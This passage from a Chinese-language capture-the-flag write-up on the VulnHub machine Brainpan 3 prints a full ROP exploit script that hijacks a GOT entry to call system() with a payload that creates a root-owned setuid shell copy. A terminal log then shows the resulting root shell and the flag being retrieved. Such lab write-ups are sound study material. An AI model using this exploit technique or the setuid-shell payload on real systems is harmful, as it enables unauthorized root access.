0028| 0xbffff2c8 ('B' repeats 88 times "\234, \357\377\267 \360\377\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()

基于GDB的输出,可以看到,如果执行pop(4)小工具,将返回第一条(上一条)消息的“目标”数据,该消息由“strncpy(dest,aMessages [i]”存储在堆栈中]-> Msg,100u);’。

root所有的一切

编写了一个ROP payload,通过从3个阶段中添加0xE900来将取自atol的atol的地址加载到eax中,并将该值累加至系统,然后使用参数’/tmp/foo’调用eax(system),这是一个脚本由我创建并在执行时将root拥有的SUID shell复制到tmp。

rootsploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys
import struct
import os

def p(v):
return struct.pack('<L', v)

__strtok_got = 0x0804B05C
__atol_got = 0x0804B04C
__ppppr = 0x08048DDC
__foo_str = 0x08048ED8
__int16_e800h = 0x080480C7
__int16_0100h = 0x08048093



rop = p(0x08048790)
rop += p(0x08048E06)
rop += p((__atol_got - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_e800h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_0100h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048786)
rop += p(__foo_str + 23)

payload = 10 * 'A'
payload += '|'
payload += rop.ljust(212, 'A') # padding till 212 eq next struct requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes __ppppr
payload += '\n'
payload += p(__ppppr) # written to got.strtok
payload += '|'
payload += 200 * 'A'
payload += '\n'

open('exploit.msg','wb').write(payload)
foocode = "cp /bin/sh /tmp/r00tsh3ll;chown root:root /tmp/r00tsh3ll;chmod 4755 /tmp/r00tsh3ll"
open('/tmp/foo','wb').write(foocode)
os.system('chmod +x /tmp/foo')

从tmp文件夹执行漏洞利用脚本,并将创建的exploit.msg移至/opt/.messenger文件夹,然后稍等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
puck@brainpan3:/tmp$ python rootsploit.py
python rootsploit.py
python rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 20K
drwxrwxrwt 2 root root 4.0K Feb 6 13:03 .
drwxr-xr-x 21 root root 4.0K Jun 17 2015 ..
-rw-r--r-- 1 puck dev 434 Feb 6 13:03 exploit.msg
-rwxr-xr-x 1 puck dev 82 Feb 6 13:03 foo
-rwxrwxrwx 1 anansi webdev 1.1K Feb 6 12:59 rootsploit.py
puck@brainpan3:/tmp$ mv exploit.msg /opt/.messenger/
mv exploit.msg /opt/.messenger/
mv exploit.msg /opt/.messenger/
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 16K
drwxrwxrwt 2 root root 4.0K Feb 6 13:03 .
drwxr-xr-x 21 root root 4.0K Jun 17 2015 ..
-rwxr-xr-x 1 puck dev 82 Feb 6 13:03 foo
-rwxrwxrwx 1 anansi webdev 1.1K Feb 6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 16K
drwxrwxrwt 2 root root 4.0K Feb 6 13:03 .
drwxr-xr-x 21 root root 4.0K Jun 17 2015 ..
-rwxr-xr-x 1 puck dev 82 Feb 6 13:03 foo
-rwxrwxrwx 1 anansi webdev 1.1K Feb 6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 128K
drwxrwxrwt 2 root root 4.0K Feb 6 13:04 .
drwxr-xr-x 21 root root 4.0K Jun 17 2015 ..
-rwxr-xr-x 1 puck dev 82 Feb 6 13:03 foo
-rwsr-xr-x 1 root root 110K Feb 6 13:04 r00tsh3ll
-rwxrwxrwx 1 anansi webdev 1.1K Feb 6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ls -lah
ls -lah
ls -lah
total 128K
drwxrwxrwt 2 root root 4.0K Feb 6 13:04 .
drwxr-xr-x 21 root root 4.0K Jun 17 2015 ..
-rwxr-xr-x 1 puck dev 82 Feb 6 13:03 foo
-rwsr-xr-x 1 root root 110K Feb 6 13:04 r00tsh3ll
-rwxrwxrwx 1 anansi webdev 1.1K Feb 6 12:59 rootsploit.py
puck@brainpan3:/tmp$ ./r00tsh3ll
./r00tsh3ll
./r00tsh3ll
# id
id
id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
# whoami
whoami
whoami
root
# cd /root
cd /root
cd /root
# ls
ls
ls
brainpan.8.gz
# ls -la
ls -la
ls -la
total 20
drwx------ 2 root root 4096 Jul 16 2015 .
drwxr-xr-x 21 root root 4096 Jun 17 2015 ..
-rw------- 1 root root 0 Jul 16 2015 .bash_history
-rw------- 1 root root 3106 Feb 19 2014 .bashrc
-rw------- 1 root root 140 May 31 2015 .profile
-rw------- 1 root root 314 Jun 23 2015 brainpan.8.gz

成功的取得了root权限

将其中的brainpan.8.gz复制到/home/anansi文件夹,然后开启python的SimpleHTTPServer,将brainpan.8.gz下载之后解压,读取其中的内容,发现如下所示的文本,正好是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@kali:~/vulnhub/brainpan3# file brainpan.8 
brainpan.8: troff or preprocessor input, ASCII text
root@kali:~/vulnhub/brainpan3# cat brainpan.8
.TH man 8 "20 May 2015" "3.0" "brainpan 3"

.SH DESCRIPTION
Congratulations, you win! Thanks for playing!

.SH FLAG
.B
flag{tricksy-hobbitses-use-unix}

.SH BUGS
You found them all.

.SH AUTHOR
superkojiman -
.B
http://blog.techorganic.com

.SH TESTERS
Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!
.br
barrebas -
.B
https://twitter.com/barrebas
.br
Swappage -
.B
https://twitter.com/Swappage

知识点总结

  • 缓冲区溢出
  • 堆栈溢出
  • 字符串格式漏洞
  • 反引号命令注入
  • &2管道命令输出

  • python的pwntools模块使用编写poc
  • pwndbg调试shellcode
  • ROPGadget找到清晰的eax小工具
  • 偏移量累积寻找

Game over

这次傻瓜式一键通关脚本就在方法一的尾部,enjoy it …

The end,to be continue…